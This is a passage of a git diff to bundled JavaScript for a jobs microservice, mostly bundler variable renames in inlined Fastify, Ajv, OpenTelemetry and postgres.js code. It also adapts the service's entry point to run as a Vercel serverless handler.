@@ function estimateSpamScore(posting) { // services/jobs/src/repo/companies.ts var UNIQUE_VIOLATION = "23505"; -async function findOrCreateByName(db, name, website) { +async function findOrCreateByName(db2, name, website) { const normalizedName = normalizeCompanyName(name); - const [existing] = await db.select().from(schema_exports.companies).where(eq(schema_exports.companies.normalizedName, normalizedName)).limit(1); + const [existing] = await db2.select().from(schema_exports.companies).where(eq(schema_exports.companies.normalizedName, normalizedName)).limit(1); if (existing) return existing; try { - const [created] = await db.insert(schema_exports.companies).values({ name, normalizedName, website: website ?? null }).returning(); + const [created] = await db2.insert(schema_exports.companies).values({ name, normalizedName, website: website ?? null }).returning(); if (!created) throw new Error("findOrCreateByName: insert returned no row"); return created; } catch (cause) { if (pgErrorCode(cause) === UNIQUE_VIOLATION) { - const [raced] = await db.select().from(schema_exports.companies).where(eq(schema_exports.companies.normalizedName, normalizedName)).limit(1); + const [raced] = await db2.select().from(schema_exports.companies).where(eq(schema_exports.companies.normalizedName, normalizedName)).limit(1); if (raced) return raced; } throw cause; @@ -80186,8 +80201,8 @@ function parsePostedAt(raw) { const date6 = new Date(raw); return Number.isNaN(date6.getTime()) ? null : date6.toISOString(); } -function ingestRoute(app, deps) { - app.post("/v1/jobs/ingest", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { +function ingestRoute(app2, deps) { + app2.post("/v1/jobs/ingest", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { const actor = getActor(request); if (actor.role !== "admin" && actor.role !== "owner") { throw new AppError("FORBIDDEN", "Only org admins/owners can ingest job postings"); @@ -80262,8 +80277,8 @@ var listJobsQuerySchema = paginationQuerySchema.extend({ remote_type: remoteTypeSchema.optional(), is_active: external_exports.stringbool().default(true) }); -function listJobsRoute(app, deps) { - app.get("/v1/jobs", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { +function listJobsRoute(app2, deps) { + app2.get("/v1/jobs", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { const query = listJobsQuerySchema.parse(request.query); const { items, nextCursor } = await listActive( deps.db, @@ -80276,7 +80291,7 @@ function listJobsRoute(app, deps) { } // services/jobs/src/repo/scores.ts -async function listForUser(db, userId, filters, pagination) { +async function listForUser(db2, userId, filters, pagination) { const cursorValue = pagination.cursor ? decodeCursor(pagination.cursor) : null; const cursorScore = typeof cursorValue?.score === "number" ? cursorValue.score : null; const cursorId = typeof cursorValue?.id === "string" ? cursorValue.id : null; @@ -80290,7 +80305,7 @@ async function listForUser(db, userId, filters, pagination) { ); if (tieBreak) conditions.push(tieBreak); } - const rows = await db.select({ score: schema_exports.jobScores, job: schema_exports.jobs }).from(schema_exports.jobScores).innerJoin(schema_exports.jobs, eq(schema_exports.jobScores.jobId, schema_exports.jobs.jobId)).where(and(...conditions)).orderBy(desc(schema_exports.jobScores.score), desc(schema_exports.jobScores.jobId)).limit(pagination.limit + 1); + const rows = await db2.select({ score: schema_exports.jobScores, job: schema_exports.jobs }).from(schema_exports.jobScores).innerJoin(schema_exports.jobs, eq(schema_exports.jobScores.jobId, schema_exports.jobs.jobId)).where(and(...conditions)).orderBy(desc(schema_exports.jobScores.score), desc(schema_exports.jobScores.jobId)).limit(pagination.limit + 1); const hasMore = rows.length > pagination.limit; const page = hasMore ? rows.slice(0, pagination.limit) : rows; const items = page.map((row) => ({ @@ -80304,9 +80319,9 @@ async function listForUser(db, userId, filters, pagination) { nextCursor: hasMore && last ? encodeCursor({ score: last.score.score, id: last.score.jobId }) : null }; } -async function isOrganizationMember(db, organizationId, targetUserId) { +async function isOrganizationMember(db2, organizationId, targetUserId) { if (!organizationId) return false; - const [membership] = await db.select().from(schema_exports.organizationMembers).where( + const [membership] = await db2.select().from(schema_exports.organizationMembers).where( and( eq(schema_exports.organizationMembers.organizationId, organizationId), eq(schema_exports.organizationMembers.userId, targetUserId) @@ -80316,8 +80331,8 @@ async function isOrganizationMember(db, organizationId, targetUserId) { } // services/jobs/src/http/routes/recommendations.ts -function recommendationsRoute(app, deps) { - app.get("/v1/jobs/recommendations", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { +function recommendationsRoute(app2, deps) { + app2.get("/v1/jobs/recommendations", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { const actor = getActor(request); const query = jobRecommendationsQuerySchema.parse(request.query); if (query.user_id !== actor.user_id) { @@ -80346,7 +80361,7 @@ var STATUS_TO_CODE = { 429: "RATE_LIMITED" }; function buildApp(deps) { - const app = (0, import_fastify.default)({ + const app2 = (0, import_fastify.default)({ // See services/auth/src/app.ts for why this cast is needed: pino's Logger // type and Fastify's FastifyBaseLogger disagree on a structural detail // that doesn't matter at runtime. @@ -80355,14 +80370,14 @@ function buildApp(deps) { trustProxy: true, genReqId: () => newUuid() }); - void app.register(import_cors.default, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); - void app.register(import_rate_limit.default, { + void app2.register(import_cors.default, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); + void app2.register(import_rate_limit.default, { max: deps.env.RATE_LIMIT_MAX, timeWindow: deps.env.RATE_LIMIT_WINDOW }); const metrics2 = createMetricsRegistry("jobs-service"); - registerHttpMetrics(app, metrics2); - app.setErrorHandler((error51, request, reply) => { + registerHttpMetrics(app2, metrics2); + app2.setErrorHandler((error51, request, reply) => { if (error51 instanceof ZodError) { reply.status(400).send({ error: { @@ -80393,18 +80408,18 @@ function buildApp(deps) { const appError = toAppError(error51); reply.status(appError.statusCode).send(appError.toResponse(request.id)); }); - app.setNotFoundHandler((request, reply) => { + app2.setNotFoundHandler((request, reply) => { reply.status(404).send({ error: { code: "NOT_FOUND", message: "Route not found", request_id: request.id } }); }); - healthRoute(app, deps); - metricsRoute(app, metrics2); - ingestRoute(app, deps); - listJobsRoute(app, deps); - getJobRoute(app, deps); - recommendationsRoute(app, deps); - return app; + healthRoute(app2, deps); + metricsRoute(app2, metrics2); + ingestRoute(app2, deps); + listJobsRoute(app2, deps); + getJobRoute(app2, deps); + recommendationsRoute(app2, deps); + return app2; } // services/jobs/src/env.ts @@ -80421,19 +80436,20 @@ function loadJobsServiceEnv(source = process.env) { } // services/jobs/src/index.ts -async function main() { - const env = loadJobsServiceEnv(); - const logger = createLogger({ service: "jobs-service", level: env.LOG_LEVEL, pretty: env.LOG_PRETTY }); - const { db, sql: sql2, close } = createDatabase({ url: env.DATABASE_URL, maxConnections: env.DATABASE_POOL_MAX }); - const broker = createBroker({ - driver: env.MESSAGING_DRIVER, - url: env.RABBITMQ_URL, - exchange: env.MESSAGING_EXCHANGE, - maxRetries: env.MESSAGING_MAX_RETRIES, - logger - }); - const tokenVerifier = createTokenVerifierConfig(env); - const app = buildApp({ db, sql: sql2, env, logger, broker, tokenVerifier }); +var env = loadJobsServiceEnv(withServerlessEnvDefaults()); +var logger = createLogger({ service: "jobs-service", level: env.LOG_LEVEL, pretty: env.LOG_PRETTY }); +var { db, sql: sql2, close } = createDatabase({ url: env.DATABASE_URL, maxConnections: env.DATABASE_POOL_MAX }); +var broker = createBroker({ + driver: env.MESSAGING_DRIVER, + url: env.RABBITMQ_URL, + exchange: env.MESSAGING_EXCHANGE, + maxRetries: env.MESSAGING_MAX_RETRIES, + logger +}); +var tokenVerifier = createTokenVerifierConfig(env); +var app = buildApp({ db, sql: sql2, env, logger, broker, tokenVerifier }); +var index_default = createVercelHandler(app); +if (!process.env.VERCEL) { const shutdown = async (signal) => { logger.info({ signal }, "shutting down"); await app.close(); @@ -80445,10 +80461,10 @@ async function main() { process.on("SIGINT", () => void shutdown("SIGINT")); await app.listen({ host: env.HOST, port: env.PORT }); } -main().catch((error51) => { - console.error(error51); - process.exit(1); -}); +export { + app, + index_default as default +}; /*! Bundled license information: amqplib/lib/defs.js: diff --git a/api/learning/index.js b/api/learning/index.js index 3230296..a6ad3cc 100644 --- a/api/learning/index.js +++ b/api/learning/index.js @@ -10463,13 +10463,13 @@ var require_format = __commonJS({ var defs = require_defs(); var format = __require("util").format; var HEARTBEAT = require_frame().HEARTBEAT; - module.exports.closeMessage = function(close) { - var code = close.fields.replyCode; + module.exports.closeMessage = function(close2) { + var code = close2.fields.replyCode; return format( '%d (%s) with message "%s"', code, defs.constant_strs[code], - close.fields.replyText + close2.fields.replyText ); }; module.exports.methodName = function(id) { @@ -21626,8 +21626,8 @@ var require_log_controller = __commonJS({ * @param {import('../fastify').FastifyBaseLogger} logger * @param {import('../fastify').FastifyInstance} server */ - serviceUnavailable(logger, server) { - logger.info({ res: { statusCode: 503 } }, "request aborted - refusing to accept new requests as server is closing"); + serviceUnavailable(logger2, server) { + logger2.info({ res: { statusCode: 503 } }, "request aborted - refusing to accept new requests as server is closing"); } }; module.exports = { LogController }; @@ -21674,20 +21674,20 @@ var require_logger_pino = __commonJS({ } const prevLogger = opts.logger; const prevGenReqId = opts.genReqId; - let logger = null; + let logger2 = null; if (prevLogger) { opts.logger = void 0; opts.genReqId = void 0; if (prevLogger[serializersSym]) { opts.serializers = Object.assign({}, opts.serializers, prevLogger[serializersSym]); } - logger = prevLogger.child({}, opts); + logger2 = prevLogger.child({}, opts); opts.logger = prevLogger; opts.genReqId = prevGenReqId; } else { - logger = pino2(opts, opts.stream); + logger2 = pino2(opts, opts.stream); } - return logger; + return logger2; } var serializers2 = { req: function asReqValue(req) { @@ -21730,22 +21730,22 @@ var require_logger_factory = __commonJS({ kLogController } = require_symbols3(); var { LogController } = require_log_controller(); - function createChildLogger(context2, logger, req, reqId, loggerOpts) { + function createChildLogger(context2, logger2, req, reqId, loggerOpts) { const loggerBindings = { [context2.server[kLogController].requestIdLogLabel]: reqId }; - const child = context2.childLoggerFactory.call(context2.server, logger, loggerBindings, loggerOpts || {}, req); + const child = context2.childLoggerFactory.call(context2.server, logger2, loggerBindings, loggerOpts || {}, req); if (context2.childLoggerFactory !== defaultChildLoggerFactory) { validateLogger(child, true); } return child; } - function defaultChildLoggerFactory(logger, bindings, opts) { - return logger.child(bindings, opts); + function defaultChildLoggerFactory(logger2, bindings, opts) { + return logger2.child(bindings, opts); } - function validateLogger(logger, strict) { + function validateLogger(logger2, strict) { const methods = ["info", "error", "debug", "fatal", "warn", "trace", "child"]; - const missingMethods = logger ? methods.filter((method) => !logger[method] || typeof logger[method] !== "function") : methods; + const missingMethods = logger2 ? methods.filter((method) => !logger2[method] || typeof logger2[method] !== "function") : methods; if (!missingMethods.length) { return true; } else if (missingMethods.length === methods.length && !strict) { @@ -21760,17 +21760,17 @@ var require_logger_factory = __commonJS({ } if (!options.loggerInstance && !options.logger) { const nullLogger = require_abstract_logging(); - const logger2 = nullLogger; - logger2.child = () => logger2; - return { logger: logger2, hasLogger: false }; + const logger3 = nullLogger; + logger3.child = () => logger3; + return { logger: logger3, hasLogger: false }; } const { createPinoLogger, serializers: serializers2 } = require_logger_pino(); if (validateLogger(options.loggerInstance)) { - const logger2 = createPinoLogger({ + const logger3 = createPinoLogger({ logger: options.loggerInstance, serializers: Object.assign({}, serializers2, options.loggerInstance.serializers) }); - return { logger: logger2, hasLogger: true }; + return { logger: logger3, hasLogger: true }; } if (validateLogger(options.logger)) { throw FST_ERR_LOG_INVALID_LOGGER_CONFIG(); @@ -21792,8 +21792,8 @@ var require_logger_factory = __commonJS({ localLoggerOptions.level = localLoggerOptions.level || "info"; localLoggerOptions.serializers = Object.assign({}, serializers2, localLoggerOptions.serializers); options.logger = localLoggerOptions; - const logger = createPinoLogger(options.logger); - return { logger, hasLogger: true }; + const logger2 = createPinoLogger(options.logger); + return { logger: logger2, hasLogger: true }; } function createLogController(options) { const userController = options.logController; @@ -22204,8 +22204,8 @@ var require_error_serializer = __commonJS({ json3 += JSON_STR_END_OBJECT; return json3; } - const main2 = anonymous0; - return main2; + const main = anonymous0; + return main; }(validator, serializer); } }); @@ -28097,20 +28097,20 @@ var require_compile = __commonJS({ var util_1 = require_util(); var validate_1 = require_validate(); var SchemaEnv = class { - constructor(env) { + constructor(env2) { var _a3; this.refs = {}; this.dynamicAnchors = {}; let schema; - if (typeof env.schema == "object") - schema = env.schema; - this.schema = env.schema; - this.schemaId = env.schemaId; - this.root = env.root || this; - this.baseId = (_a3 = env.baseId) !== null && _a3 !== void 0 ? _a3 : (0, resolve_1.normalizeId)(schema === null || schema === void 0 ? void 0 : schema[env.schemaId || "$id"]); - this.schemaPath = env.schemaPath; - this.localRefs = env.localRefs; - this.meta = env.meta; + if (typeof env2.schema == "object") + schema = env2.schema; + this.schema = env2.schema; + this.schemaId = env2.schemaId; + this.root = env2.root || this; + this.baseId = (_a3 = env2.baseId) !== null && _a3 !== void 0 ? _a3 : (0, resolve_1.normalizeId)(schema === null || schema === void 0 ? void 0 : schema[env2.schemaId || "$id"]); + this.schemaPath = env2.schemaPath; + this.localRefs = env2.localRefs; + this.meta = env2.meta; this.$async = schema === null || schema === void 0 ? void 0 : schema.$async; this.refs = {}; } @@ -28294,15 +28294,15 @@ var require_compile = __commonJS({ baseId = (0, resolve_1.resolveUrl)(this.opts.uriResolver, baseId, schId); } } - let env; + let env2; if (typeof schema != "boolean" && schema.$ref && !(0, util_1.schemaHasRulesButRef)(schema, this.RULES)) { const $ref = (0, resolve_1.resolveUrl)(this.opts.uriResolver, baseId, schema.$ref); - env = resolveSchema.call(this, root, $ref); + env2 = resolveSchema.call(this, root, $ref); } const { schemaId } = this.opts; - env = env || new SchemaEnv({ schema, schemaId, root, baseId }); - if (env.schema !== env.root.schema) - return env; + env2 = env2 || new SchemaEnv({ schema, schemaId, root, baseId }); + if (env2.schema !== env2.root.schema) + return env2; return void 0; } } @@ -29989,13 +29989,13 @@ var require_core = __commonJS({ }, warn() { }, error() { } }; - function getLogger(logger) { - if (logger === false) + function getLogger(logger2) { + if (logger2 === false) return noLogs; - if (logger === void 0) + if (logger2 === void 0) return console; - if (logger.log && logger.warn && logger.error) - return logger; + if (logger2.log && logger2.warn && logger2.error) + return logger2; throw new Error("logger must implement log, warn and error methods"); } var KEYWORD_NAME = /^[a-z_$][a-z0-9_$:-]*$/i; @@ -30100,8 +30100,8 @@ var require_ref = __commonJS({ schemaType: "string", code(cxt) { const { gen, schema: $ref, it } = cxt; - const { baseId, schemaEnv: env, validateName, opts, self: self2 } = it; - const { root } = env; + const { baseId, schemaEnv: env2, validateName, opts, self: self2 } = it; + const { root } = env2; if (($ref === "#" || $ref === "#/") && baseId === root.baseId) return callRootRef(); const schOrEnv = compile_1.resolveRef.call(self2, root, baseId, $ref); @@ -30111,8 +30111,8 @@ var require_ref = __commonJS({ return callValidate(schOrEnv); return inlineRefSchema(schOrEnv); function callRootRef() { - if (env === root) - return callRef(cxt, validateName, env, env.$async); + if (env2 === root) + return callRef(cxt, validateName, env2, env2.$async); const rootName = gen.scopeValue("root", { ref: root }); return callRef(cxt, (0, codegen_1._)`${rootName}.validate`, root, root.$async); } @@ -30142,14 +30142,14 @@ var require_ref = __commonJS({ exports.getValidate = getValidate; function callRef(cxt, v, sch, $async) { const { gen, it } = cxt; - const { allErrors, schemaEnv: env, opts } = it; + const { allErrors, schemaEnv: env2, opts } = it; const passCxt = opts.passContext ? names_1.default.this : codegen_1.nil; if ($async) callAsyncRef(); else callSyncRef(); function callAsyncRef() { - if (!env.$async) + if (!env2.$async) throw new Error("async schema referenced by sync schema"); const valid = gen.let("valid"); gen.try(() => { @@ -44649,7 +44649,7 @@ var require_route = __commonJS({ const router = FindMyWay(options); let avvio; let fourOhFour; - let logger; + let logger2; let hasLogger; let setupResponseListeners; let throwIfAlreadyStarted; @@ -44667,7 +44667,7 @@ var require_route = __commonJS({ setup(options2, fastifyArgs) { avvio = fastifyArgs.avvio; fourOhFour = fastifyArgs.fourOhFour; - logger = options2.logger; + logger2 = options2.logger; hasLogger = fastifyArgs.hasLogger; setupResponseListeners = fastifyArgs.setupResponseListeners; throwIfAlreadyStarted = fastifyArgs.throwIfAlreadyStarted; @@ -44811,7 +44811,7 @@ var require_route = __commonJS({ opts.routePath = path2; opts.prefix = prefix; opts.logLevel = opts.logLevel || this[kLogLevel]; - validateLogLevelOption(opts.logLevel, opts.method, opts.url, logger); + validateLogLevelOption(opts.logLevel, opts.method, opts.url, logger2); if (this[kLogSerializers] || opts.logSerializers) { opts.logSerializers = Object.assign(Object.create(this[kLogSerializers]), opts.logSerializers); } @@ -44949,7 +44949,7 @@ var require_route = __commonJS({ const id = getGenReqId(context2.server, req); let childLogger; if (hasLogger === false && context2.childLoggerFactory === defaultChildLoggerFactory) { - childLogger = logger; + childLogger = logger2; } else { const loggerOpts = { level: context2.logLevel @@ -44957,7 +44957,7 @@ var require_route = __commonJS({ if (context2.logSerializers) { loggerOpts.serializers = context2.logSerializers; } - childLogger = createChildLogger(context2, logger, req, id, loggerOpts); + childLogger = createChildLogger(context2, logger2, req, id, loggerOpts); } if (closing === true) { if (req.httpVersionMajor !== 2) { @@ -45082,10 +45082,10 @@ var require_route = __commonJS({ throw new FST_ERR_ROUTE_HANDLER_TIMEOUT_OPTION_NOT_INT(handlerTimeout); } } - function validateLogLevelOption(logLevel, method, path, logger) { + function validateLogLevelOption(logLevel, method, path, logger2) { if (logLevel == null || logLevel === "") return; - if (logger?.levels?.values == null) return; - if (typeof logLevel !== "string" || logger.levels.values[logLevel] === void 0) { + if (logger2?.levels?.values == null) return; + if (typeof logLevel !== "string" || logger2.levels.values[logLevel] === void 0) { throw new FST_ERR_ROUTE_LOG_LEVEL_INVALID(method, path, logLevel); } } @@ -45150,7 +45150,7 @@ var require_four_oh_four = __commonJS({ var { createChildLogger } = require_logger_factory(); var { getGenReqId } = require_req_id_gen_factory(); function fourOhFour(options) { - const { logger } = options; + const { logger: logger2 } = options; const router = FindMyWay({ onBadUrl: options.routerOptions.onBadUrl, onMaxParamLength: options.routerOptions.onMaxParamLength, @@ -45246,7 +45246,7 @@ var require_four_oh_four = __commonJS({ function fourOhFourFallBack(req, res) { const fourOhFourContext = this[kFourOhFourLevelInstance][kFourOhFourContext]; const id = getGenReqId(fourOhFourContext.server, req); - const childLogger = createChildLogger(fourOhFourContext, logger, req, id); + const childLogger = createChildLogger(fourOhFourContext, logger2, req, id); const request = new Request(id, null, req, null, childLogger, fourOhFourContext); const reply = new Reply(res, request, childLogger); fourOhFourContext.server[kLogController].incomingRequest(request, reply); @@ -47955,7 +47955,7 @@ var require_fastify = __commonJS({ opts.includeMeta = opts.includeHooks ? opts.includeMeta ? supportedHooks.concat(opts.includeMeta) : supportedHooks : opts.includeMeta; return router.printRoutes(opts); } - function wrapRouting(router2, { rewriteUrl, logger }) { + function wrapRouting(router2, { rewriteUrl, logger: logger2 }) { let isAsync; return function preRouting(req, res) { if (isAsync === void 0) isAsync = router2.isAsyncConstraint(); @@ -48033,13 +48033,13 @@ var require_fastify = __commonJS({ if (!ajvOptions.plugins || !Array.isArray(ajvOptions.plugins)) { throw new FST_ERR_AJV_CUSTOM_OPTIONS_OPT_NOT_ARR(typeof ajvOptions.plugins); } - const { logger, hasLogger } = createLogger2(options); + const { logger: logger2, hasLogger } = createLogger2(options); const logController = createLogController(options); options.connectionTimeout = options.connectionTimeout || defaultInitOptions.connectionTimeout; options.keepAliveTimeout = options.keepAliveTimeout || defaultInitOptions.keepAliveTimeout; options.maxRequestsPerSocket = options.maxRequestsPerSocket || defaultInitOptions.maxRequestsPerSocket; options.requestTimeout = options.requestTimeout || defaultInitOptions.requestTimeout; - options.logger = logger; + options.logger = logger2; options.requestIdHeader = requestIdHeader; options.ajv = ajvOptions; options.clientErrorHandler = options.clientErrorHandler || defaultClientErrorHandler; @@ -50747,11 +50747,11 @@ var init_global_utils = __esm({ // node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/diag/ComponentLogger.js function logProxy(funcName, namespace, args) { - const logger = getGlobal("diag"); - if (!logger) { + const logger2 = getGlobal("diag"); + if (!logger2) { return; } - return logger[funcName](namespace, ...args); + return logger2[funcName](namespace, ...args); } var DiagComponentLogger; var init_ComponentLogger = __esm({ @@ -50797,17 +50797,17 @@ var init_types = __esm({ }); // node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/diag/internal/logLevelLogger.js -function createLogLevelDiagLogger(maxLevel, logger) { +function createLogLevelDiagLogger(maxLevel, logger2) { if (maxLevel < DiagLogLevel.NONE) { maxLevel = DiagLogLevel.NONE; } else if (maxLevel > DiagLogLevel.ALL) { maxLevel = DiagLogLevel.ALL; } - logger = logger || {}; + logger2 = logger2 || {}; function _filterFunc(funcName, theLevel) { - const theFunc = logger[funcName]; + const theFunc = logger2[funcName]; if (typeof theFunc === "function" && maxLevel >= theLevel) { - return theFunc.bind(logger); + return theFunc.bind(logger2); } return function() { }; @@ -50850,16 +50850,16 @@ var init_diag = __esm({ constructor() { function _logProxy(funcName) { return function(...args) { - const logger = getGlobal("diag"); - if (!logger) + const logger2 = getGlobal("diag"); + if (!logger2) return; - return logger[funcName](...args); + return logger2[funcName](...args); }; } const self2 = this; - const setLogger = (logger, optionsOrLogLevel = { logLevel: DiagLogLevel.INFO }) => { + const setLogger = (logger2, optionsOrLogLevel = { logLevel: DiagLogLevel.INFO }) => { var _a3, _b, _c; - if (logger === self2) { + if (logger2 === self2) { const err = new Error("Cannot use diag as the logger for itself. Please use a DiagLogger implementation like ConsoleDiagLogger or a custom implementation"); self2.error((_a3 = err.stack) !== null && _a3 !== void 0 ? _a3 : err.message); return false; @@ -50870,7 +50870,7 @@ var init_diag = __esm({ }; } const oldLogger = getGlobal("diag"); - const newLogger = createLogLevelDiagLogger((_b = optionsOrLogLevel.logLevel) !== null && _b !== void 0 ? _b : DiagLogLevel.INFO, logger); + const newLogger = createLogLevelDiagLogger((_b = optionsOrLogLevel.logLevel) !== null && _b !== void 0 ? _b : DiagLogLevel.INFO, logger2); if (oldLogger && !optionsOrLogLevel.suppressOverrideMessage) { const stack = (_c = new Error().stack) !== null && _c !== void 0 ? _c : ""; oldLogger.warn(`Current logger will be overwritten from ${stack}`); @@ -53955,6 +53955,21 @@ function childTrace(parent, overrides = {}) { }; } +// packages/utils/src/vercel.ts +function createVercelHandler(app2) { + const ready = Promise.resolve(app2.ready()); + ready.catch(() => void 0); + return async (req, res) => { + await ready; + app2.server.emit("request", req, res); + }; +} +var SERVERLESS_PLACEHOLDER_PORT = "3000"; +function withServerlessEnvDefaults(source = process.env) { + if (!source.VERCEL) return source; + return { ...source, PORT: source.PORT ?? SERVERLESS_PLACEHOLDER_PORT }; +} + // node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/lib/buffer_utils.js var encoder = new TextEncoder(); var decoder = new TextDecoder(); @@ -69792,8 +69807,8 @@ var listMessagesResponseSchema = external_exports.object({ }); // packages/auth-kit/src/tokens.ts -function createTokenVerifierConfig(env) { - const authBase = `${env.SUPABASE_URL}/auth/v1`; +function createTokenVerifierConfig(env2) { + const authBase = `${env2.SUPABASE_URL}/auth/v1`; return { jwks: createRemoteJWKSet(new URL(`${authBase}/.well-known/jwks.json`)), issuer: authBase @@ -71294,7 +71309,7 @@ var noop2 = () => { function Subscribe(postgres2, options) { const subscribers = /* @__PURE__ */ new Map(), slot = "postgresjs_" + Math.random().toString(36).slice(2), state = {}; let connection2, stream, ended = false; - const sql2 = subscribe.sql = postgres2({ + const sql3 = subscribe.sql = postgres2({ ...options, transform: { column: {}, value: {}, row: {} }, max: 1, @@ -71310,26 +71325,26 @@ function Subscribe(postgres2, options) { return; stream = null; state.pid = state.secret = void 0; - connected(await init(sql2, slot, options.publications)); + connected(await init(sql3, slot, options.publications)); subscribers.forEach((event) => event.forEach(({ onsubscribe }) => onsubscribe())); }, no_subscribe: true }); - const end = sql2.end, close = sql2.close; - sql2.end = async () => { + const end = sql3.end, close2 = sql3.close; + sql3.end = async () => { ended = true; stream && await new Promise((r) => (stream.once("close", r), stream.end())); return end(); }; - sql2.close = async () => { + sql3.close = async () => { stream && await new Promise((r) => (stream.once("close", r), stream.end())); - return close(); + return close2(); }; return subscribe; async function subscribe(event, fn, onsubscribe = noop2, onerror = noop2) { event = parseEvent2(event); if (!connection2) - connection2 = init(sql2, slot, options.publications); + connection2 = init(sql3, slot, options.publications); const subscriber = { fn, onsubscribe }; const fns = subscribers.has(event) ? subscribers.get(event).add(subscriber) : subscribers.set(event, /* @__PURE__ */ new Set([subscriber])).get(event); const unsubscribe = () => { @@ -71340,7 +71355,7 @@ function Subscribe(postgres2, options) { connected(x); onsubscribe(); stream && stream.on("error", onerror); - return { unsubscribe, state, sql: sql2 }; + return { unsubscribe, state, sql: sql3 }; }); } function connected(x) { @@ -71348,14 +71363,14 @@ function Subscribe(postgres2, options) { state.pid = x.state.pid; state.secret = x.state.secret; } - async function init(sql3, slot2, publications) { + async function init(sql4, slot2, publications) { if (!publications) throw new Error("Missing publication names"); - const xs = await sql3.unsafe( + const xs = await sql4.unsafe( `CREATE_REPLICATION_SLOT ${slot2} TEMPORARY LOGICAL pgoutput NOEXPORT_SNAPSHOT` ); const [x] = xs; - const stream2 = await sql3.unsafe( + const stream2 = await sql4.unsafe( `START_REPLICATION SLOT ${slot2} LOGICAL ${x.consistent_point} (proto_version '1', publication_names '${publications}')` ).writable(); const state2 = { @@ -71363,14 +71378,14 @@ function Subscribe(postgres2, options) { }; stream2.on("data", data); stream2.on("error", error51); - stream2.on("close", sql3.close); + stream2.on("close", sql4.close); return { stream: stream2, state: xs.state }; function error51(e) { console.error("Unexpected error during logical streaming - reconnecting", e); } function data(x2) { if (x2[0] === 119) { - parse3(x2.subarray(25), state2, sql3.options.parsers, handle, options.transform); + parse3(x2.subarray(25), state2, sql4.options.parsers, handle, options.transform); } else if (x2[0] === 107 && x2[17]) { state2.lsn = x2.subarray(1, 9); pong(); @@ -71502,22 +71517,22 @@ function parseEvent2(x) { // node_modules/.pnpm/postgres@3.4.9/node_modules/postgres/src/large.js import Stream2 from "stream"; -function largeObject(sql2, oid, mode = 131072 | 262144) { +function largeObject(sql3, oid, mode = 131072 | 262144) { return new Promise(async (resolve, reject) => { - await sql2.begin(async (sql3) => { + await sql3.begin(async (sql4) => { let finish; - !oid && ([{ oid }] = await sql3`select lo_creat(-1) as oid`); - const [{ fd }] = await sql3`select lo_open(${oid}, ${mode}) as fd`; + !oid && ([{ oid }] = await sql4`select lo_creat(-1) as oid`); + const [{ fd }] = await sql4`select lo_open(${oid}, ${mode}) as fd`; const lo = { writable, readable, - close: () => sql3`select lo_close(${fd})`.then(finish), - tell: () => sql3`select lo_tell64(${fd})`, - read: (x) => sql3`select loread(${fd}, ${x}) as data`, - write: (x) => sql3`select lowrite(${fd}, ${x})`, - truncate: (x) => sql3`select lo_truncate64(${fd}, ${x})`, - seek: (x, whence = 0) => sql3`select lo_lseek64(${fd}, ${x}, ${whence})`, - size: () => sql3` + close: () => sql4`select lo_close(${fd})`.then(finish), + tell: () => sql4`select lo_tell64(${fd})`, + read: (x) => sql4`select loread(${fd}, ${x}) as data`, + write: (x) => sql4`select lowrite(${fd}, ${x})`, + truncate: (x) => sql4`select lo_truncate64(${fd}, ${x})`, + seek: (x, whence = 0) => sql4`select lo_lseek64(${fd}, ${x}, ${whence})`, + size: () => sql4` select lo_lseek64(${fd}, location, 0) as position, seek.size @@ -71592,12 +71607,12 @@ function Postgres(a, b2) { let ending = false; const queries = queue_default(), connecting = queue_default(), reserved = queue_default(), closed = queue_default(), ended = queue_default(), open = queue_default(), busy = queue_default(), full = queue_default(), queues = { connecting, reserved, closed, ended, open, busy, full }; const connections = [...Array(options.max)].map(() => connection_default(options, queues, { onopen, onend, onclose })); - const sql2 = Sql(handler); - Object.assign(sql2, { + const sql3 = Sql(handler); + Object.assign(sql3, { get parameters() { return options.parameters; }, - largeObject: largeObject.bind(null, sql2), + largeObject: largeObject.bind(null, sql3), subscribe, CLOSE, END: CLOSE, @@ -71606,17 +71621,17 @@ function Postgres(a, b2) { reserve, listen, begin, - close, + close: close2, end }); - return sql2; + return sql3; function Sql(handler2) { handler2.debug = options.debug; Object.entries(options.types).reduce((acc, [name, type]) => { acc[name] = (x) => new Parameter(x, type.to); return acc; }, typed); - Object.assign(sql3, { + Object.assign(sql4, { types: typed, typed, unsafe, @@ -71625,11 +71640,11 @@ function Postgres(a, b2) { json: json3, file: file2 }); - return sql3; + return sql4; function typed(value, type) { return new Parameter(value, type); } - function sql3(strings, ...args) { + function sql4(strings, ...args) { const query = strings && Array.isArray(strings.raw) ? new Query(strings, args, handler2, cancel) : typeof strings === "string" && !args.length ? new Identifier(options.transform.column.to ? options.transform.column.to(strings) : strings) : new Builder(strings, args); return query; } @@ -71660,7 +71675,7 @@ function Postgres(a, b2) { } async function listen(name, fn, onlisten) { const listener = { fn, onlisten }; - const sql3 = listen.sql || (listen.sql = Postgres({ + const sql4 = listen.sql || (listen.sql = Postgres({ ...options, max: 1, idle_timeout: null, @@ -71684,7 +71699,7 @@ function Postgres(a, b2) { listener.onlisten && listener.onlisten(); return { state: result2.state, unlisten }; } - channels[name] = { result: sql3`listen ${sql3.unsafe('"' + name.replace(/"/g, '""') + '"')}`, listeners: [listener] }; + channels[name] = { result: sql4`listen ${sql4.unsafe('"' + name.replace(/"/g, '""') + '"')}`, listeners: [listener] }; const result = await channels[name].result; listener.onlisten && listener.onlisten(); return { state: result.state, unlisten }; @@ -71695,11 +71710,11 @@ function Postgres(a, b2) { if (channels[name].listeners.length) return; delete channels[name]; - return sql3`unlisten ${sql3.unsafe('"' + name.replace(/"/g, '""') + '"')}`; + return sql4`unlisten ${sql4.unsafe('"' + name.replace(/"/g, '""') + '"')}`; } } async function notify(channel, payload) { - return await sql2`select pg_notify(${channel}, ${"" + payload})`; + return await sql3`select pg_notify(${channel}, ${"" + payload})`; } async function reserve() { const queue = 